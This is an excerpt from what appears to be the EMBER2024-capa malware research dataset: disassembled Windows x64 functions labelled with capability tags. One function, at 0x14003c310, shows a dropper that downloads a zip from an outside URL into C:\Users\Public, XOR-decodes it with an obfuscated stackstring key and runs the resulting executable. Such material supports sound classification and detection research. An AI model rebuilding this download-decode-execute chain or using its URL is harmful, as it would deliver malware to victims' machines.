joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002360
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400023ad
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400023a4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400023af
add rax, 0x28
cmp rax, r9
jne 0x140002390
xor eax, eax
ret

Function at 0x1400023b0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002440
mov rdx, qword [0x140009760]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000242e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000242e
cmp word [rax + 0x18], 0x20b
jne 0x14000242e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002440
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002419
add rbx, 0x28
cmp rbx, rdi
je 0x140002440
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002410
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002450
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009760]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002470
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002478
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002470
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400024cd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400024c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002470
add rax, 0x28
cmp rax, r9
jne 0x1400024b0
xor eax, eax
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009760]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400024ef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400024f8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400024ef
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002510
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140009760]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002530
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002538
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002530
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002580
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002577
test rcx, rcx
je 0x140002530
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002568
xor eax, eax
ret
Function at 0x140002590
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009760]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400025af
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400025b8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400025d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009760]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400025f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400025f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400025f0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400025f0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002644
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002650
add rdx, 0x28
cmp r9, rdx
jne 0x140002630
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002660
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140009760]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002682
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002690
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002682
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002682
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002682
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400026e5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400026f8
add rdx, 0x28
cmp rdx, r10
jne 0x1400026d0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002707
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002717
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400026ee
test ecx, ecx
jg 0x140002700
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400394c0
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov rax, qword [0x1402aa298]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x70]
add rax, 0x20
mov rcx, rax
call fcn.1400399b0
mov r8, rax
mov edx, 0x2712
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.1401a9690
lea rdx, str.Mozilla_5.0__Windows_NT_6.1__WOW64__rv:13.0__Gecko_20100101_Firefox_13.0.1
lea rcx, [rsp + 0x28]
call fcn.1400398b0
nop
lea rcx, [rsp + 0x28]
call fcn.1400399b0
mov r8, rax
mov edx, 0x2722
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.1401a9690
mov r8d, 5
mov edx, 0x44
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.1401a9690
mov r8d, 1
mov edx, 0x34
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.1401a9690
mov r8d, 1
mov edx, 0x63
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.1401a9690
xor r8d, r8d
mov edx, Ordinal_50
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.1401a9690
lea r8, [0x140039740]
mov edx, 0x4e2b
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.1401a9690
mov r8, qword [rsp + 0x70]
mov edx, 0x2711
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.1401a9690
xor r8d, r8d
mov edx, 0x40
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.1401a9690
xor r8d, r8d
mov edx, 0x51
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call fcn.1401a9690
nop
lea rcx, [rsp + 0x28]
call fcn.140039920
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14018e7b0
add rsp, 0x68
ret

Function at 0x140039790
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
mov r9, qword [rax + 0x10]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call fcn.14018fdf8
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x14003c050
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x188
mov rax, qword [0x1402aa298]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rdx, [0x14020517e]
mov rcx, qword [rsp + 0x198]
call fcn.1400484d0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14003c0ac
xor r8d, r8d
xor edx, edx
lea rcx, str.123
call fcn.140056790
xor eax, eax
jmp 0x14003c1c9
mov rdx, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x20]
call fcn.140048690
mov dword [rsp + 0x160], eax
cmp dword [rsp + 0x160], 0
je 0x14003c0f1
xor r8d, r8d
xor edx, edx
lea rcx, [0x140205184]
call fcn.140056790
mov rcx, qword [rsp + 0x20]
call fcn.140048710
xor eax, eax
jmp 0x14003c1c9
lea r8, [rsp + 0x30]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x20]
call fcn.140048500
mov dword [rsp + 0x160], eax
cmp dword [rsp + 0x160], 0
je 0x14003c138
xor r8d, r8d
xor edx, edx
lea rcx, [0x140205188]
call fcn.140056790
mov rcx, qword [rsp + 0x20]
call fcn.140048710
xor eax, eax
jmp 0x14003c1c9
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x164], eax
mov dword [rsp + 0x168], 0
jmp 0x14003c160
mov eax, dword [rsp + 0x168]
inc eax
mov dword [rsp + 0x168], eax
mov eax, dword [rsp + 0x164]
cmp dword [rsp + 0x168], eax
jge 0x14003c1ac
lea r8, [rsp + 0x30]
mov edx, dword [rsp + 0x168]
mov rcx, qword [rsp + 0x20]
call fcn.140048500
mov dword [rsp + 0x160], eax
lea r8, [rsp + 0x34]
mov edx, dword [rsp + 0x168]
mov rcx, qword [rsp + 0x20]
call fcn.140048650
mov dword [rsp + 0x160], eax
jmp 0x14003c150
mov rcx, qword [rsp + 0x20]
call fcn.140048710
mov rcx, qword [rsp + 0x198]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.14018e7b0
add rsp, 0x188
ret

Function at 0x14003c1f0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x60
mov dword [rsp + 0x24], 0
mov rcx, qword [rsp + 0x70]
call fcn.14003c010
xor eax, eax
mov rcx, 0xffffffffffffffff
mov rdi, qword [rsp + 0x80]
repne scasb al, byte [rdi]
not rcx
dec rcx
mov rax, rcx
mov dword [rsp + 0x34], eax
lea rdx, [0x14020518c]
mov rcx, qword [rsp + 0x70]
call fcn.14018fc60
mov qword [rsp + 0x28], rax
lea rdx, [0x140205190]
mov rcx, qword [rsp + 0x78]
call fcn.14018fc60
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x28]
call fcn.140190454
test eax, eax
jne 0x14003c2ee
mov r9, qword [rsp + 0x28]
mov r8d, 1
mov edx, 1
lea rcx, [rsp + 0x20]
call fcn.140190434
mov rcx, qword [rsp + 0x28]
call fcn.140190454
test eax, eax
jne 0x14003c2e9
mov eax, dword [rsp + 0x24]
cdq
idiv dword [rsp + 0x34]
mov eax, edx
cdqe
mov rcx, qword [rsp + 0x80]
movzx eax, byte [rcx + rax]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x20]
movsx ecx, byte [rsp + 0x30]
xor eax, ecx
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x58]
mov r8d, 1
mov edx, 1
lea rcx, [rsp + 0x20]
call fcn.14018fdf8
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
jmp 0x14003c262
mov rcx, qword [rsp + 0x28]
call fcn.14018fb20
mov rcx, qword [rsp + 0x58]
call fcn.14018fb20
add rsp, 0x60
pop rdi
ret
Function at 0x14003c310
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x138
mov qword [rsp + 0x120], 0xfffffffffffffffe
mov rax, qword [0x1402aa298]
xor rax, rsp
mov qword [rsp + 0x128], rax
mov byte [rsp + 0x100], Ordinal_60
mov byte [rsp + 0x101], 0x42
mov byte [rsp + 0x102], Ordinal_50
mov byte [rsp + 0x103], Ordinal_60
mov byte [rsp + 0x104], 0x43
mov byte [rsp + 0x105], gethostname
mov byte [rsp + 0x106], 0x41
mov byte [rsp + 0x107], 0x44
mov byte [rsp + 0x108], Ordinal_60
mov byte [rsp + 0x109], 0x43
mov byte [rsp + 0x10a], 0x46
mov byte [rsp + 0x10b], 0x52
mov byte [rsp + 0x10c], gethostname
mov byte [rsp + 0x10d], 0x44
mov byte [rsp + 0x10e], gethostname
mov byte [rsp + 0x10f], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x110], 0
lea rcx, [rsp + 0x90]
call fcn.1400392f0
nop
lea rdx, str.C:UsersPublicen.dat
lea rcx, [rsp + 0x38]
call fcn.1400398b0
nop
lea rdx, str.https:__link.jscdn.cn_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0FnamFRTXRmUzQ0VUFKWml4P2U9QXZMVDdG.zip
lea rcx, [rsp + 0x60]
call fcn.1400398b0
nop
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x90]
call fcn.140039620
nop
lea rcx, [rsp + 0x60]
call fcn.140039920
nop
lea rcx, [rsp + 0x38]
call fcn.140039920
lea rcx, [rsp + 0x90]
call fcn.140039410
lea r8, [rsp + 0x100]
lea rdx, str.C:UsersPublicde.dat
lea rcx, str.C:UsersPublicen.dat
call fcn.14003c1f0
lea rdx, str.C:UsersPublicde.dat
lea rcx, str.C:UsersPublic
call fcn.14003c050
lea rdx, str.BitTorrentEvernoteMouseTray.exe
lea rcx, str.C:UsersPublic
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
lea r9, [0x14020517f]
lea r8, str.C:UsersPublic
lea rdx, [0x140205194]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x118], 1
lea rcx, [rsp + 0x90]
call fcn.1400393b0
mov eax, dword [rsp + 0x118]
mov rcx, qword [rsp + 0x128]
xor rcx, rsp
call fcn.14018e7b0
add rsp, 0x138
ret
Function at 0x1400433c0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
movsx eax, byte [rsp + 0x10]
mov rcx, qword [rsp + 8]
mov ecx, dword [rcx]
xor ecx, eax
mov eax, ecx
and eax, 0xff
cdqe
lea rcx, [0x140208840]
mov rdx, qword [rsp + 8]
mov edx, dword [rdx]
shr edx, 8
mov eax, dword [rcx + rax*4]
xor eax, edx
mov rcx, qword [rsp + 8]
mov dword [rcx], eax
mov rax, qword [rsp + 8]
mov eax, dword [rax]
and eax, 0xff
mov rcx, qword [rsp + 8]
add eax, dword [rcx + 4]
mov rcx, qword [rsp + 8]
mov dword [rcx + 4], eax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 4]
imul eax, eax, 0x8088405
inc eax
mov rcx, qword [rsp + 8]
mov dword [rcx + 4], eax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 4]
shr eax, 0x18
mov rcx, qword [rsp + 8]
mov ecx, dword [rcx + 8]
xor ecx, eax
mov eax, ecx
and eax, 0xff
mov eax, eax
lea rcx, [0x140208840]
mov rdx, qword [rsp + 8]
mov edx, dword [rdx + 8]
shr edx, 8
mov eax, dword [rcx + rax*4]
xor eax, edx
mov rcx, qword [rsp + 8]
mov dword [rcx + 8], eax
ret

Function at 0x140044850
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x48
mov rax, qword [rsp + 0x68]
imul rax, qword [rsp + 0x70]
mov dword [rsp + 0x34], eax
mov rax, qword [rsp + 0x78]
movzx eax, byte [rax]
test eax, eax
je 0x1400448cd
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x3c]
mov r8d, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x78]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
jne 0x1400448c0
mov rax, qword [rsp + 0x78]
mov byte [rax + 0x10], 1
mov eax, dword [rsp + 0x3c]
xor edx, edx
div qword [rsp + 0x68]
jmp 0x140044941
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x2c]
add eax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x78]
cmp eax, dword [rcx + 0x28]
jbe 0x1400448f9
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x78]
mov ecx, dword [rcx + 0x2c]
mov eax, dword [rax + 0x28]
sub eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x78]
mov ecx, dword [rcx + 0x2c]
mov rdx, qword [rsp + 0x78]
add rcx, qword [rdx + 0x20]
mov rdi, qword [rsp + 0x60]
mov rsi, rcx
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x2c]
add eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x78]
mov dword [rcx + 0x2c], eax
mov eax, dword [rsp + 0x30]
xor edx, edx
div qword [rsp + 0x68]
add rsp, 0x48
pop rdi
pop rsi
ret
Function at 0x140046790
Capabilities:
Get common file path

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x68
mov rax, qword [rsp + 0x80]
cmp qword [rax], 0
jne 0x1400467c6
mov rax, qword [rsp + 0x80]
cmp dword [rax + 8], 0xffffffff
je 0x1400467d0
mov eax, 0x1000000
jmp 0x140046956
mov rax, qword [rsp + 0x80]
add rax, 0x150
mov rdx, rax
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov rax, qword [rsp + 0x80]
add rax, 0x150
mov qword [rsp + 0x38], rax
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov rcx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x40]
mov rax, rdx
mov rdx, qword [rsp + 0x38]
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
dec rcx
mov rax, rcx
mov rcx, qword [rsp + 0x80]
movzx eax, byte [rcx + rax + 0x14f]
mov byte [rsp + 0x28], al
movsx eax, byte [rsp + 0x28]
cmp eax, 0x5c
je 0x14004689d
movsx eax, byte [rsp + 0x28]
cmp eax, 0x2f
je 0x14004689d
mov rax, qword [rsp + 0x80]
add rax, 0x150
mov qword [rsp + 0x48], rax
xor ecx, ecx
mov qword [rsp + 0x50], rcx
mov rcx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x50]
mov rax, rdx
mov rdx, qword [rsp + 0x48]
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rdi
dec rax
lea rcx, [0x1402071dc]
mov rdi, rax
mov rsi, rcx
mov ecx, 2
rep movsb byte [rdi], byte [rsi]
cmp dword [rsp + 0x98], 1
jne 0x1400468f6
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xffffffff
je 0x1400468d5
mov dword [rsp + 0x58], 1
jmp 0x1400468dd
mov dword [rsp + 0x58], 0
movzx eax, byte [rsp + 0x58]
mov byte [rsp + 0x34], al
movzx eax, byte [rsp + 0x34]
test eax, eax
jne 0x1400468f6
mov eax, 0x2000000
jmp 0x140046956
lea r9, [rsp + 0x2c]
mov r8d, dword [rsp + 0x98]
mov edx, dword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
call fcn.1400443f0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14004692a
mov eax, dword [rsp + 0x2c]
jmp 0x140046956
mov rcx, qword [rsp + 0x20]
call fcn.140044d10
mov rcx, qword [rsp + 0x80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x80]
cmp qword [rax], 0
jne 0x140046954
mov eax, 0x200
jmp 0x140046956
xor eax, eax
add rsp, 0x68
pop rdi
pop rsi
ret
Function at 0x1400476f0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x2a8
mov rax, qword [0x1402aa298]
xor rax, rsp
mov qword [rsp + 0x290], rax
cmp qword [rsp + 0x2c0], 0
je 0x140047743
mov rcx, qword [rsp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140047743
xor edx, edx
mov rcx, qword [rsp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, qword [rsp + 0x2c8]
movsx eax, byte [rax]
test eax, eax
jne 0x140047757
jmp 0x140047954
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x148]
movsx eax, byte [rax]
test eax, eax
je 0x1400477c2
mov rax, qword [rsp + 0x148]
movsx eax, byte [rax]
cmp eax, 0x2f
je 0x1400477a0
mov rax, qword [rsp + 0x148]
movsx eax, byte [rax]
cmp eax, 0x5c
jne 0x1400477ad
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x148]
inc rax
mov qword [rsp + 0x148], rax
jmp 0x140047771
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x2c8]
cmp qword [rsp + 0x20], rax
je 0x14004784c
mov rax, qword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
lea rcx, [rsp + 0x150]
mov rdi, rcx
mov rsi, qword [rsp + 0x2c8]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov byte [rsp + rax + 0x150], 0
lea rdx, [rsp + 0x150]
mov rcx, qword [rsp + 0x2c0]
call fcn.1400476f0
mov rax, qword [rsp + 0x140]
inc rax
mov qword [rsp + 0x140], rax
mov byte [rsp + 0x30], 0
cmp qword [rsp + 0x2c0], 0
je 0x1400478e1
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x260], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x268], rax
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x260]
movzx eax, byte [rax]
mov byte [rsp + 0x278], al
mov rax, qword [rsp + 0x268]
movzx ecx, byte [rsp + 0x278]
mov byte [rax], cl
mov rax, qword [rsp + 0x260]
inc rax
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0x268]
inc rax
mov qword [rsp + 0x268], rax
cmp byte [rsp + 0x278], 0
jne 0x14004788d
lea rax, [rsp + 0x30]
mov qword [rsp + 0x280], rax
xor ecx, ecx
mov qword [rsp + 0x288], rcx
mov rcx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x288]
mov rax, rdx
mov rdx, qword [rsp + 0x280]
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rdi
dec rax
mov rcx, qword [rsp + 0x2c8]
xor edx, edx
movzx edi, byte [rcx + rdx]
mov byte [rax + rdx], dil
inc rdx
test dil, dil
jne 0x140047927
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140047954
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.14018e7b0
add rsp, 0x2a8
pop rdi
pop rsi
ret
Function at 0x140049620
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov r12, r8
mov rbx, rdx
mov r13, rcx
xor edi, edi
call fcn.14008ac38
lea r8d, [rdi + 5]
mov rbp, qword [rax + 0x18]
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rcx, rbp
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
je 0x14004967c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov r9, rbp
mov r8, r12
mov rdx, rdi
mov rcx, r13
call fcn.1400490b8
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret

Function at 0x140049710
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xe0], rdx
test rdx, 0xffffffffffff0000
jne 0x14004974f
cmp dword [rcx + 0xd8], 0
jne 0x14004974f
movzx eax, dx
mov dword [rcx + 0xd8], eax
call fcn.14008ac38
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.1400496b4
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14004b328
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.1400bbcac
mov rsi, rax
test rax, rax
je 0x14004b3a4
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x14004b39f
cmp dword [rbx], 0x40
jb 0x14004b39f
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageA]
bt rax, 0xd
jb 0x14004b39f
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x14004b3a8
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret